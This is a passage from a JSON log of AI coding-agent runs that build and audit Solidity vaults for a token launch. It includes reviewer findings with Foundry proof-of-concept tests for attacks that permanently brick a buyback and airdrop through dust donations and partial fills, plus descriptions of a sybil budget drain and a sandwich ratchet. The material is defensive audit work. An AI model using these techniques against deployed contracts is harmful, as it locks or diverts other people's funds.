Proof: `test/scratch/JobsSybil.t.sol`.\n3. **Low. First `buyback()` call freezes the budget.** Anyone can call it at the first eligible second; with a zero balance it completes immediately and IMD arriving later is stranded forever. Confirmed with a scratch test.\n4. **Low. `launch()` burns its one-shot flag before the plane's verdict.** No failure callback, so a refused body leaves the vault unable to launch, bind, or move its IMD.\n\n**Coverage**\nEvery listed entry point was traced. Three carry findings; the rest hold, including the oracle callback authentication, claim and rollover accounting, the 7-day and 40/25.72/17.14/17.14 split, and the native-ETH path. I also verified the two gas-capped try/catch calls cannot be starved by a low-gas caller without starving the rest of the transaction, and that the existing 81 tests pass.\n\n**Not reached in depth**\nThe launched token's Uniswap v4 hook and the timing of its anti-sniper payout are not in the tree, so finding 3's trigger and any hook-delta interaction with the exact-input check remain conditional on that code. The live Intake's handling of a same-block snapshot window was not verifiable offline.","treeHash":null,"usage":{"cachedInputTokens":1835479,"inputTokens":386,"model":"claude-fable-5-1","outputTokens":49567,"runtime":"claude","turns":38,"wallClockMs":1014351}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"da7ed792c3bf5b80","findings":[],"hash":"35d982d1748494fbee70ca40308794ce0408c730cb6450dabe2dd7ed91e24dd3","nodeId":"52d41d5f-768b-4ff0-b7e0-e29f3db68fd9","outcome":"failed","summary":"API Error: 524 {\"type\":\"https://developers.cloudflare.com/…\",\"title\":\"Error 524: A timeout occurred\",\"status\":524,\"detail\":\"The origin web server did not return a complete response within the 120-second Proxy Read Timeout window. The connection was established, but the origin took too long to respond.\",\"instance\":\"a4def3c8fedf1c42\",\"error_code\":524,\"error_name\":\"origin_response_timeout\",\"error_category\":\"origin\",\"ray_id\":\"a4def3c8fedf1c42\",\"timestamp\":\"2026-10-21T08:41:37Z\",\"zone\":\"global.sidrune.ai\",\"cloudflare_error\":true,\"retryable\":true,\"retry_after\":120,\"owner_action_required\":true,\"what_you_should_do\":\"**Wait and retry.** Back off for at least 120 seconds. If the error persists, the website operator should check for long-running processes or an overloaded origin.\",\"footer\":\"This error was generated by Cloudflare on behalf of the website owner.\"}. This is a server-side issue, usually temporary — try again in a moment. If it persists, check your inference gateway (global.sidrune.ai).","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":null,"outputTokens":0,"runtime":"claude","turns":1,"wallClockMs":130066}},{"artifacts":[],"attempt":1,"bundleHash":"c02a7a5dc37cf0dc5596b2457edf947b6867b6baa4cbeb0603a92314093c0fe8","device":"0eca5d6d7ad6ddb4","findings":[],"hash":"5814dcec38acb5bbf4557752a3822601d58e65695eec18b86a62a70e51488aa6","nodeId":"57a5d722-e9d5-49fa-ad1c-905228b64f23","outcome":"completed","summary":"The responses file is excluded by the repository's own `.git/info/exclude`, which is the harness's rule for a file it reads from the working tree, so that is expected and nothing to change.\n\nBoth reviewer findings reproduced and are fixed. The advisory one is answered as disputed with no code change.\n\n**What reproduced**, against the unmodified Uniswap v4 PoolManager with the reviewer's exact setup:\n- Band-edge front-run: one transaction parking the pool one unit inside the band, calling `buyback()`, and selling back spent 2 wei, bought nothing, and permanently finished the buyback with all IMD locked.\n- In-band ratchet: ten rounds of push-to-ref×1.0095, buyback, sell-back bought 859.79 TEST for 1000 IMD with 32.88 IMD attacker profit, exactly the reported figures.\n\n**The fix** in `src/CompensationVault.sol:139`:\n- A fill never records the reference. The reference moves only on the out-of-band path, one band step per ten minutes, clamped to the edge. The same ratchet attack now ends at the honest run's reference and buys 940.6 TEST against an honest 949.7, with attacker profit down to 3.45 IMD.\n- A swap stopped at the band edge or buying nothing is a partial fill: not a tranche, never finishes the buyback, never moves the reference, and its cooldown scales with the fraction of the cap it spent, so a dust fill costs the next honest caller no interval. The buyback ends only after ten full tranches, when the IMD is gone, or when the 3-day window closes.\n\n**Tests and docs**. Both reproductions are kept as regression tests in `test/UniswapV4Integration.t.sol`, the second comparing against an honest baseline from a state snapshot. The thin-range test, mock partial-fill test and the tranche invariant were updated for the new semantics. README, review record and verification record describe the change and the documented residual: a push past the band edge plus call plus sell-back in one transaction still moves the reference one band per ten minutes at the cost of that push and two swap fees, which cannot be detected without a price feed the brief does not name.\n\n**Verification**. Clean build, `forge fmt --check`, and 61 tests pass with the verifier's fuzz seed. The optional fork suite was run against the live Robinhood Chain head through the contributor's RPC: 3 passed, ten full tranches with the real factory position. The Python tool tests pass.\n\n**Advisory JobsVault finding**: answered as disputed, unchanged. It is the brief's per-wallet spot-balance rule, and the previous vault-wide caps were rejected in an earlier review; only the requester can change the rule, and the README lists the four options.","treeHash":"90d1c70a4d1ddc4362e9b00afd5196d5e71754f9","usage":{"cachedInputTokens":3550585,"inputTokens":866,"model":"claude-fable-5-1","outputTokens":66030,"runtime":"claude","turns":47,"wallClockMs":1085419}},{"artifacts":[],"attempt":1,"bundleHash":"b72ca50e878561c69d18780a4903c2c2048329cc3dda6c509872fe49d012e77f","device":"a43d0c18792c5628","findings":[],"hash":"5b51739d5abf4fc07f57d1ec7dd4233a2053c7ac10cc95be7c917e7b488f7620","nodeId":"57a5d722-e9d5-49fa-ad1c-905228b64f23","outcome":"completed","summary":"Implemented all four ownerless vaults, vendored dependencies, and verified compensation proofs for all 62 wallets.\n\nValidation passed:\n\n- `forge build`\n- `forge test`: 58 passed\n- Five live Robinhood fork tests\n- Six proof/data tests\n- `forge fmt --check`\n\nDeployment instructions, assumptions, and operational limits are in [README.md](/home/imdworker/.identitymd/work/ed909f82-0fa3-4cb7-8219-952be6e3bde3/57a5d722-e9d5-49fa-ad1c-905228b64f23/README.md).","treeHash":"3db17be53d142f32d7cecc3218e28b93b1453c89","usage":{"cachedInputTokens":11972096,"inputTokens":309187,"model":"gpt-6-astra","outputTokens":97919,"runtime":"codex","turns":16,"wallClockMs":3197574}},{"artifacts":[],"attempt":1,"bundleHash":"ce4c4010e2967f97be829a6c22c34c95c545a3f441b836b8ce22671c8282002a","device":"9b657b3675e34ec5","findings":[],"hash":"621069610889b9859df36d8d2e66faf0c4980a5035f8dfe3c0942ead9d19ebe2","nodeId":"57a5d722-e9d5-49fa-ad1c-905228b64f23","outcome":"completed","summary":"Revision complete. The binding proof passes, the suite is green with the verifier's fuzz seed, and the fork suite passes against the live Robinhood Chain contracts.\n\n**What reproduced and what I changed**\n\n- **Vault-wide job caps (ea7db97f, binding proof):** reproduced. JobsVault now enforces only the brief's per-wallet rule: spot balance plus a 24-hour cooldown. The per-block and 24-per-day caps are gone, both proof tests pass, and my own tests were rewritten to match.\n- **Token-hopping drain (6b86b008):** disputed. The scenario is real, but every mitigation it proposes is refused by the binding proof above or by the brief, and the launched token has no checkpoints for a snapshot rule. The property and four possible rule changes are documented in the README for the requester to decide.\n- **Sandwich (cdda753d):** the starting tree already had the price band and the reviewer's proof passed on it. I closed the two-block variant: an out-of-band price now moves the reference one band step per 10 minutes, clamped, instead of adopting the pushed price. A new real-PoolManager test covers same-block, next-block, step rate and the fill after the price returns.\n- **Buyback brick (ed00cdc9):** not reproducible. Both proof tests pass on the starting tree, which already ends the buyback on zero output, counts partial fills, and has a 3-day window.\n- **Retry invalidates a pending answer (fc89fd5a):** fixed. Earlier request ids stay valid, the first answer wins, and a second answer reverts.\n- **Carry-funded epoch never asks (7769a7f8):** fixed. The ask is paid from the epoch's own pot, deposit plus carry.\n- **Launch one-shot after a refused body (68bb5beb):** fixed with Intake v2's failure hook, which reopens the one-time call only for the vault's own pending request and never after binding. The live Intake accepted the ask in the fork run.\n- **Native push revert (cd6daaf7) and zero-budget freeze (1a2b8b62):** not reproducible on this tree; existing tests cover both. A stale sentence in docs/REVIEW.md was corrected.\n- **Snapshot block choice (d6ae911f):** disputed as the brief's own rule; documented as a known property.\n\n**Verification**\n\n| Check | Result |\n| --- | --- |\n| forge build | pass |\n| forge test with the verifier seed (own suite) | 59 passed, 0 failed, 1 skipped |\n| Binding proof Proof_ea7db97f1689 | 2 passed |\n| Fork suite against live chain 4663 | 3 passed |\n| forge fmt --check on src and test | pass |\n\nThe non-required proof for the hopping finding now fails by design, as explained in its response. All ten responses are in .imd-responses.json at the repository root.","treeHash":"941c546d7b2c14ab328b091bb6f2b6c8eab82fba","usage":{"cachedInputTokens":4596259,"inputTokens":802,"model":"claude-fable-5-1","outputTokens":71172,"runtime":"claude","turns":104,"wallClockMs":1462205}},{"artifacts":[],"attempt":1,"bundleHash":"1161f210fce9b3957a8929e643eda6a2775e7da9ac8d80149cf15470c8d8686f","device":"f96a0c89c039c22a","findings":[],"hash":"65ffb84865b1271431d1da9b07d2a97bc25de8e45e9dc4150f622466ea4c0df2","nodeId":"57a5d722-e9d5-49fa-ad1c-905228b64f23","outcome":"completed","summary":"I fixed all three findings the work was reopened for. On chain id 4663, `forge build`, `forge fmt` and the full `forge test` pass, including the fuzz and invariant tests run with the verifier's seed. All three reviewer proofs now pass too; I ran them from `test/scratch/`, where they failed on the starting tree. The earlier HolderRewards failures don't come from this code. The test names in that report don't exist here, so it was most likely the rejected attempt's tree, and all of HolderRewards' tests pass now.\n\n**High: the buyback could be sandwiched (`src/CompensationVault.sol`).**\n- **Price band:** each tranche now has a price limit within ±1.5% of the square-root price (about ±3% price, `PRICE_BAND_BPS = 150`) around a reference price recorded earlier. The reference is set when the launch is bound and again after each tranche.\n- **Moved price:** if the price is outside that band, or the reference was recorded in the same block timestamp, `buyback()` only records a new reference and swaps nothing. A buy, `buyback()`, sell sequence in one transaction no longer gets a tranche filled.\n- **What remains:** someone who pushes the price and holds it there across blocks, exposed to arbitrage the whole time, can still make a tranche pay up to the band above that price. The README says so.\n\n**High: one bad tranche could stop the buyback for good.**\n- **Partial fills:** a fill that stops at the band edge pays only the IMD the pool actually took, and counts as a tranche.\n- **Zero output:** a swap that buys nothing ends the buyback.\n- **Deadline:** 3 days after the 30-minute wait (`BUYBACK_WINDOW`), anyone can end the buyback, so the airdrop always opens.\n- **Empty start:** while the vault holds less than 10 base units of IMD, `buyback()` now reverts with `NothingToBuy` instead of starting, so an anti-sniper fee that arrives late still gets bought. This also covers the \"first call freezes the budget\" advisory.\n- **Locked IMD:** IMD left unspent at the end stays locked in the vault, because the brief allows no other way out.\n\n**Medium: one token holding could drain JobsVault (`src/JobsVault.sol`).** On top of the per-wallet 24-hour limit, the vault now allows at most one job per block and 24 jobs per 24 hours in total. One holder moving a bag between wallets across blocks can still take a large share of a day's 24 slots, because the check reads the current balance, not a snapshot. That is documented.\n\nOf the seven advisory findings:\n- **Fixed:** a marketing wallet that rejects ETH no longer blocks `distribute()`; the ETH waits for next week and the IMD split and burn still go through. `tools/merkle.py` now builds compensation proofs in the committed tree layout. The reviewer's 62-wallet dataset isn't in this tree, so I checked the new layout only on synthetic data, where every proof rebuilds the root. Running it against the real root is still to do.\n- **Disputed, unchanged:**\n  - The oracle-retry griefing only delays holders and costs the griefer a full oracle price each day.\n  - Not paying the oracle out of carried-over rewards is deliberate.\n  - The snapshot block follows the brief (\"at the deposit block\").\n  - Re-arming `launch()` after a failed request would contradict \"only once, no callback\".\n\nAll answers are in `.imd-responses.json`, and the README lists the new constants (`PRICE_BAND_BPS`, `BUYBACK_WINDOW`, `MAX_JOBS_PER_DAY`).\n\nThe working tree also shows untracked files I didn't create and can't read (`.bashrc`, `.gitmodules`, `.claude/` and others). They look like sandbox placeholders, so I left them alone; don't commit them, `.gitmodules` especially.","treeHash":"b2b446fdc3580be14405ea8c4e423bbf265be676","usage":{"cachedInputTokens":3392854,"inputTokens":70,"model":"claude-opus-5-5","outputTokens":25275,"runtime":"claude","turns":39,"wallClockMs":812767}},{"artifacts":[],"attempt":3,"bundleHash":"c90536d944a4f0e6f5284773fef8a5141b943cc63570646677ce6221e7e70af0","device":"fd7c32744e171d7d","findings":[],"hash":"664c1470b27445829bf5da086fa6b48447a1d9aea3ee523b9706dcc2de3dab64","nodeId":"57a5d722-e9d5-49fa-ad1c-905228b64f23","outcome":"completed","summary":"Implemented all four contracts, vendored dependencies, proof tooling, and deployment documentation.\n\nPassed:\n- `forge build` and `forge fmt --check`\n- 51 offline tests with the supplied fuzz seed\n- 3 live Robinhood fork tests\n- 4 proof-tool tests\n\n[README]( /home/imd1161/.identitymd/work/ed909f82-0fa3-4cb7-8219-952be6e3bde3/57a5d722-e9d5-49fa-ad1c-905228b64f23/README.md) documents assumptions and proof-data responsibilities. Oracle wording preflight remains unverified because endpoint access was blocked.","treeHash":"95c3aaad45a4f68eebd199478eb728b54ae644f7","usage":{"cachedInputTokens":6362496,"inputTokens":189694,"model":"gpt-6-astra","outputTokens":67039,"runtime":"codex","turns":9,"wallClockMs":2203744}},{"artifacts":[],"attempt":2,"bundleHash":null,"device":"584bd638e7e022f0","findings":[],"hash":"750febb7d34636d68ea6bfea65c00d2cf7b59bd00cfad3c60fa9d23353687589","nodeId":"57a5d722-e9d5-49fa-ad1c-905228b64f23","outcome":"failed","summary":"the local build failed, so this was not submitted:\nforge build exited with 1:\nCompiling 20 files with Solc 0.8.26\nSolc 0.8.26 finished in 392.66ms\nError: Compiler run failed:\nError: Compiler error (/solidity/libyul/backends/evm/AsmCodeGen.cpp:62):Stack too deep. Try compiling with `--via-ir` (cli) or the equivalent `viaIR: true` (standard JSON) while enabling the optimizer. Otherwise, try removing local variables. When compiling inline assembly: Variable value0 is 3 slot(s) too deep inside the stack. Stack too deep. Try compiling with `--via-ir` (cli) or the equivalent `viaIR: true` (standard JSON) while enabling the optimizer. Otherwise, try removing local variables.","treeHash":null,"usage":{"cachedInputTokens":4142823,"inputTokens":836,"model":"claude-fable-5-1","outputTokens":206966,"runtime":"claude","turns":61,"wallClockMs":2247384}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"776c025db24644e8","findings":[{"citation":"resolved","description":"Boundary x precision x invariant. trancheCap = initialIMD / 10 is frozen on the first buyback() call from whatever IMD the vault holds at that moment (line 88-89), and the tranche size can never change afterwards. In Uniswap v4 an exact-input swap of a few wei is consumed entirely as the LP fee (fee 3000: amountRemainingLessFee = 1 * 997000 / 1e6 = 0), so the pool returns amount1 = -1 and amount0 = 0. unlockCallback then reverts with InvalidSwap because outputDelta <= 0, the whole buyback() call reverts, and the state that produced it (trancheCap, buybackStarted) is untouched, so every later call does the same. There is no path that lets the vault skip a dust tranche, lower the tranche, or open the airdrop while buybackComplete is false (line 150). If the anti-sniper fee was zero (nobody sniped) or tiny, anyone can send 10 wei of IMD to the vault before the first buyback() and permanently lock the 10% supply allocation held for the 62 refund wallets. More generally any initialIMD whose tenth swaps to zero output bricks the contract: at a 1:1 price every initialIMD from 10 to 19 wei (a 1 wei tranche is consumed entirely by the fee), and at a TEST price of P IMD per TEST every tranche below about P wei. Fix: treat a swap whose output is zero (or whose tranche is below a sane minimum) as the end of the buyback and call _finishBuyback(), or let airdrop() open after a deadline regardless of buyback progress.","line":137,"path":"src/CompensationVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {BalanceDelta, BalanceDeltaLibrary} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SIMDVault} from \"src/SIMDVault.sol\";\nimport {CompensationVault} from \"src/CompensationVault.sol\";\nimport {Network} from \"src/Network.sol\";\n\ncontract ProofToken is ERC20 {\n    constructor() ERC20(\"T\", \"T\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract ProofFactory {\n    PoolKey private key;\n    address private requester;\n\n    function configure(PoolKey memory key_, address requester_) external {\n        key = key_;\n        requester = requester_;\n    }\n\n    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {\n        return (key, -600, 600, requester);\n    }\n\n    function claimFees(uint64) external pure returns (uint256, uint256) {\n        return (0, 0);\n    }\n}\n\ncontract ProofSeeder is IUnlockCallback {\n    using BalanceDeltaLibrary for BalanceDelta;\n\n    IPoolManager private immutable manager;\n\n    constructor(IPoolManager manager_) {\n        manager = manager_;\n    }\n\n    function seed(PoolKey memory key, uint128 amount) external {\n        manager.unlock(abi.encode(key, amount));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (PoolKey memory key, uint128 amount) = abi.decode(data, (PoolKey, uint128));\n        (BalanceDelta delta,) = manager.modifyLiquidity(\n            key,\n            IPoolManager.ModifyLiquidityParams({\n                tickLower: -600, tickUpper: 600, liquidityDelta: int256(uint256(amount)), salt: bytes32(0)\n            }),\n            \"\"\n        );\n        pay(key.currency0, delta.amount0());\n        pay(key.currency1, delta.amount1());\n        return \"\";\n    }\n\n    function pay(Currency c, int128 delta) private {\n        if (delta < 0) {\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));\n            manager.settle();\n        }\n    }\n}\n\n/// @notice A 10 wei IMD donation (anti-sniper fee of 0) makes every buyback tranche a 1 wei swap.\n/// In Uniswap v4 a 1 wei exact-input swap with a 0.3% fee is consumed entirely as fee and returns\n/// zero output, so buyback() reverts with InvalidSwap forever and airdrop() can never run.\ncontract DustTrancheBrickTest is Test {\n    ProofToken internal imd;\n    ProofToken internal token;\n    SIMDVault internal vault;\n    CompensationVault internal compensation;\n    PoolKey internal key;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new ProofToken()).code);\n        vm.etch(Network.FACTORY, address(new ProofFactory()).code);\n        imd = ProofToken(Network.IMD);\n        address tokenAddress = address(0x1000);\n        vm.etch(tokenAddress, address(new ProofToken()).code);\n        token = ProofToken(tokenAddress);\n        deployCodeTo(\"PoolManager.sol:PoolManager\", abi.encode(address(this)), Network.POOL_MANAGER);\n        IPoolManager manager = IPoolManager(Network.POOL_MANAGER);\n        key = PoolKey({\n            currency0: Currency.wrap(tokenAddress),\n            currency1: Currency.wrap(Network.IMD),\n            fee: 3000,\n            tickSpacing: 60,\n            hooks: IHooks(address(0))\n        });\n        manager.initialize(key, uint160(1 << 96));\n        ProofSeeder seeder = new ProofSeeder(manager);\n        imd.mint(address(seeder), 1e27);\n        token.mint(address(seeder), 1e27);\n        seeder.seed(key, 1e26);\n        vault = new SIMDVault();\n        compensation = vault.compensationVault();\n        ProofFactory(Network.FACTORY).configure(key, address(vault));\n        vm.prank(Network.DEV);\n        vault.bindLaunch(7, tokenAddress);\n    }\n\n    function testTenWeiDonationMustNotBlockTheAirdropForever() public {\n        // The 10% supply allocation is already in the vault; the anti-sniper fee was zero.\n        token.mint(address(compensation), 1000 ether);\n        // Anyone sends 10 wei of IMD before the first buyback call.\n        imd.mint(address(compensation), 10);\n        vm.warp(compensation.buybackAvailableAt());\n\n        // Give the buyback every chance: ten attempts, ten minutes apart, then a long wait.\n        for (uint256 i; i < 10; ++i) {\n            try compensation.buyback() {} catch {}\n            vm.warp(vm.getBlockTimestamp() + 10 minutes);\n        }\n        vm.warp(vm.getBlockTimestamp() + 30 days);\n        try compensation.buyback() {} catch {}\n\n        // The compensation must still be distributable: airdrop must be callable.\n        address[] memory accounts = new address[](1);\n        uint256[] memory weights = new uint256[](1);\n        bytes32[][] memory proofs = new bytes32[][](1);\n        accounts[0] = address(0xBEEF);\n        weights[0] = 1;\n        proofs[0] = new bytes32[](0);\n        compensation.airdrop(accounts, weights, proofs);\n        assertTrue(compensation.buybackComplete(), \"buyback never finishes: 1 wei tranches revert forever\");\n    }\n}","reproduction":"State: pool initialized at price 1 with liquidity 1e26 over [-600,600] (real v4 PoolManager), launch bound, CompensationVault holds 1000 TEST and the anti-sniper fee is 0. Attacker transfers 10 wei IMD to the vault. At buybackAvailableAt anyone calls buyback(): initialIMD = 10, trancheCap = 1, spend = 1; swap(amountSpecified = -1) returns amount1 = -1, amount0 = 0 (observed in trace: 'amount0: 0, amount1: -1'); outputDelta = 0 -> InvalidSwap. Repeat every 10 minutes and after 30 days: identical revert. airdrop([...]) reverts with BuybackNotFinished. Expected: a tranche that cannot buy anything should end the buyback so the refund list can be paid. Actual: 1000 TEST are locked forever. Run: forge test --match-path test/scratch/DustTrancheBrick.t.sol (fails on this code with BuybackNotFinished).","severity":"high","snippet":"        if (int256(inputDelta) != -int256(spend) || outputDelta <= 0) revert InvalidSwap();","title":"A 10 wei IMD donation turns every buyback tranche into a zero-output swap; buyback() reverts forever and airdrop() can never open"},{"citation":"resolved","description":"Boundary x invariant. The launch's liquidity is one bounded position (positionOf returns tickLower/tickUpper). The buyback swaps with the extreme sqrtPriceLimit, so when the IMD side of that range is exhausted the swap stops at the range edge and consumes only part of `spend`. unlockCallback requires inputDelta == -spend exactly and reverts InvalidSwap; buyback() keeps spend = min(trancheCap, balance) fixed, so the next call fails identically. Nothing can shrink the tranche or finish the buyback, and airdrop() is gated on buybackComplete. Two ways to reach it: (a) self-inflicted, when the anti-sniper fee is larger than the range can absorb (each tranche pushes the price up; once liquidity is 0 beyond tickUpper the remaining tranches never fill) which is permanent until an outside party sells TEST back into range; (b) attacker-driven, where anyone buys TEST until the price leaves the range right before each tranche, costing them only the swap fee, which stalls the compensation indefinitely. Fix: accept the consumed amount as the tranche (spend = -inputDelta, settle that amount, require output > 0), or finish the buyback when the pool cannot absorb the tranche, or open the airdrop after a deadline.","line":137,"path":"src/CompensationVault.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {ERC20} from \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport {IERC20} from \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport {PoolManager} from \"v4-core/src/PoolManager.sol\";\nimport {IPoolManager} from \"v4-core/src/interfaces/IPoolManager.sol\";\nimport {IUnlockCallback} from \"v4-core/src/interfaces/callback/IUnlockCallback.sol\";\nimport {PoolKey} from \"v4-core/src/types/PoolKey.sol\";\nimport {Currency} from \"v4-core/src/types/Currency.sol\";\nimport {IHooks} from \"v4-core/src/interfaces/IHooks.sol\";\nimport {BalanceDelta, BalanceDeltaLibrary} from \"v4-core/src/types/BalanceDelta.sol\";\nimport {SIMDVault} from \"src/SIMDVault.sol\";\nimport {CompensationVault} from \"src/CompensationVault.sol\";\nimport {Network} from \"src/Network.sol\";\n\ncontract ProofToken2 is ERC20 {\n    constructor() ERC20(\"T\", \"T\") {}\n\n    function mint(address to, uint256 amount) external {\n        _mint(to, amount);\n    }\n}\n\ncontract ProofFactory2 {\n    PoolKey private key;\n    address private requester;\n\n    function configure(PoolKey memory key_, address requester_) external {\n        key = key_;\n        requester = requester_;\n    }\n\n    function positionOf(uint64) external view returns (PoolKey memory, int24, int24, address) {\n        return (key, -600, 600, requester);\n    }\n\n    function claimFees(uint64) external pure returns (uint256, uint256) {\n        return (0, 0);\n    }\n}\n\ncontract ProofSeeder2 is IUnlockCallback {\n    using BalanceDeltaLibrary for BalanceDelta;\n\n    IPoolManager private immutable manager;\n\n    constructor(IPoolManager manager_) {\n        manager = manager_;\n    }\n\n    function seed(PoolKey memory key, uint128 amount) external {\n        manager.unlock(abi.encode(key, amount));\n    }\n\n    function unlockCallback(bytes calldata data) external returns (bytes memory) {\n        require(msg.sender == address(manager));\n        (PoolKey memory key, uint128 amount) = abi.decode(data, (PoolKey, uint128));\n        (BalanceDelta delta,) = manager.modifyLiquidity(\n            key,\n            IPoolManager.ModifyLiquidityParams({\n                tickLower: -600, tickUpper: 600, liquidityDelta: int256(uint256(amount)), salt: bytes32(0)\n            }),\n            \"\"\n        );\n        pay(key.currency0, delta.amount0());\n        pay(key.currency1, delta.amount1());\n        return \"\";\n    }\n\n    function pay(Currency c, int128 delta) private {\n        if (delta < 0) {\n            manager.sync(c);\n            IERC20(Currency.unwrap(c)).transfer(address(manager), uint256(-int256(delta)));\n            manager.settle();\n        }\n    }\n}\n\n/// @notice The launch position is a bounded range (positionOf returns tickLower/tickUpper). When a\n/// 10% tranche is larger than the IMD the range can absorb, the swap stops at the range edge with\n/// part of the input unconsumed; buyback() rejects that with InvalidSwap and retries the same\n/// tranche size forever. The airdrop then never opens.\ncontract PartialFillBrickTest is Test {\n    ProofToken2 internal imd;\n    ProofToken2 internal token;\n    SIMDVault internal vault;\n    CompensationVault internal compensation;\n    PoolKey internal key;\n\n    function setUp() public {\n        vm.chainId(4663);\n        vm.warp(1_800_000_000);\n        vm.roll(30_000_000);\n        vm.etch(Network.IMD, address(new ProofToken2()).code);\n        vm.etch(Network.FACTORY, address(new ProofFactory2()).code);\n        imd = ProofToken2(Network.IMD);\n        address tokenAddress = address(0x1000);\n        vm.etch(tokenAddress, address(new ProofToken2()).code);\n        token = ProofToken2(tokenAddress);\n        deployCodeTo(\"PoolManager.sol:PoolManager\", abi.encode(address(this)), Network.POOL_MANAGER);\n        IPoolManager manager = IPoolManager(Network.POOL_MANAGER);\n        key = PoolKey({\n            currency0: Currency.wrap(tokenAddress),\n            currency1: Currency.wrap(Network.IMD),\n            fee: 3000,\n            tickSpacing: 60,\n            hooks: IHooks(address(0))\n        });\n        manager.initialize(key, uint160(1 << 96));\n        ProofSeeder2 seeder = new ProofSeeder2(manager);\n        imd.mint(address(seeder), 1e27);\n        token.mint(address(seeder), 1e27);\n        // Liquidity 1e20 over [-600, 600]: the range absorbs only about 3 IMD before it empties.\n        seeder.seed(key, 1e20);\n        vault = new SIMDVault();\n        compensation = vault.compensationVault();\n        ProofFactory2(Network.FACTORY).configure(key, address(vault));\n        vm.prank(Network.DEV);\n        vault.bindLaunch(7, tokenAddress);\n    }\n\n    function testTrancheLargerThanRangeCapacityMustNotBlockTheAirdropForever() public {\n        token.mint(address(compensation), 1000 ether);\n        // Anti-sniper fee: 1000 IMD, so each tranche is 100 IMD against a range holding ~3 IMD.\n        imd.mint(address(compensation), 1000 ether);\n        vm.warp(compensation.buybackAvailableAt());\n\n        for (uint256 i; i < 10; ++i) {\n            try compensation.buyback() {} catch {}\n            vm.warp(vm.getBlockTimestamp() + 10 minutes);\n        }\n        vm.warp(vm.getBlockTimestamp() + 30 days);\n        try compensation.buyback() {} catch {}\n\n        address[] memory accounts = new address[](1);\n        uint256[] memory weights = new uint256[](1);\n        bytes32[][] memory proofs = new bytes32[][](1);\n        accounts[0] = address(0xBEEF);\n        weights[0] = 1;\n        proofs[0] = new bytes32[](0);\n        compensation.airdrop(accounts, weights, proofs);\n        assertTrue(compensation.buybackComplete(), \"partial fill reverts every tranche forever\");\n    }\n}","reproduction":"State: real v4 PoolManager, pool at price 1 with liquidity 1e20 over [-600,600] (about 3 IMD of capacity), vault holds 1000 TEST and 1000 IMD (anti-sniper fee). At buybackAvailableAt call buyback(): spend = 100e18; swap returns amount1 = -3054462224264067921 and amount0 = +2955301087913716968 with liquidity 0 at tick 887271 (observed in trace); inputDelta (-3.05e18) != -1e20 -> InvalidSwap. Every later call (ten attempts 10 minutes apart, then 30 days later) reverts the same way; airdrop() reverts BuybackNotFinished. Expected: the buyback spends what the pool can take and the refunds are paid. Actual: 1000 TEST and 1000 IMD locked. Run: forge test --match-path test/scratch/PartialFillBrick.t.sol (fails on this code with BuybackNotFinished).","severity":"high","snippet":"        if (int256(inputDelta) != -int256(spend) || outputDelta <= 0) revert InvalidSwap();","title":"A tranche larger than the launch range can absorb is a partial fill; buyback() rejects it and retries the same size forever, blocking the airdrop"},{"citation":"resolved","description":"Boundary of the holding check: the eligibility is read from balanceOf(msg.sender) at call time and the cooldown is keyed by msg.sender, so the same 1,000,000 tokens can be moved from wallet to wallet inside one transaction, each wallet opening a job. The 24 hour limit the brief asks for ('at most once per 24 hours' per holder) is bypassed at the cost of one token transfer per job, and the vault's entire IMD balance can be spent on one person's jobs the moment it arrives each week, starving every other holder. The IMD goes to Intake, not to the attacker, so this is budget capture rather than theft. Fix options that keep the design: a global per-day spend cap, a per-token-unit cooldown via a snapshot (the HolderRewards root could serve), or requiring the balance to have been held since the previous distribute().","line":36,"path":"src/JobsVault.sol","reproduction":"State: JobsVault holds 10 * price IMD (price = 0.5 IMD), alice holds 1,000,000 TEST. In one block: alice.requestJob(body); alice transfers 1,000,000 TEST to w1; w1.requestJob(body); w1 transfers to w2; ... ten times. Expected: alice's group can open one job per 24 hours. Actual: ten jobs are opened and JobsVault's IMD balance is 0 (test/scratch/Probe.t.sol::testJobsSybilDrain passes on this code, demonstrating the drain).","severity":"medium","snippet":"        if (IERC20(token).balanceOf(msg.sender) < minimumHolding) revert InsufficientHolding();","title":"JobsVault daily limit is per wallet and checked on a live balance, so one 1,000,000-token holder drains the whole jobs budget in one block"},{"citation":"resolved","description":"Numerical gap (boundary x invariant). _openEpoch(amount + carry) puts the rolled-over carry into the new epoch's own pot and snapshotPot, but requestDepositedEpoch compares price with `deposit` = amount alone. When a week's holder share is 0 or at most price (zero or small fees, which distribute() still processes every 7 days), the epoch holding the carry is opened with no oracle request although its own pot could pay for one without touching any other epoch's reserve. The carry then sits unclaimable until either a sponsor pays the full price out of pocket via retryOracle() or a later week brings amount > price, and each such week re-snapshots it into yet another epoch. Fix: compare price with amount + carry (the epoch's own pot) and deduct from it.","line":113,"path":"src/HolderRewards.sol","reproduction":"deposit 100 IMD + price (epoch 1); nobody claims; warp 28 days; rollover(1) -> epoch 2 carry 100. Next distribute delivers 0 to holders: onDeposit(0) opens 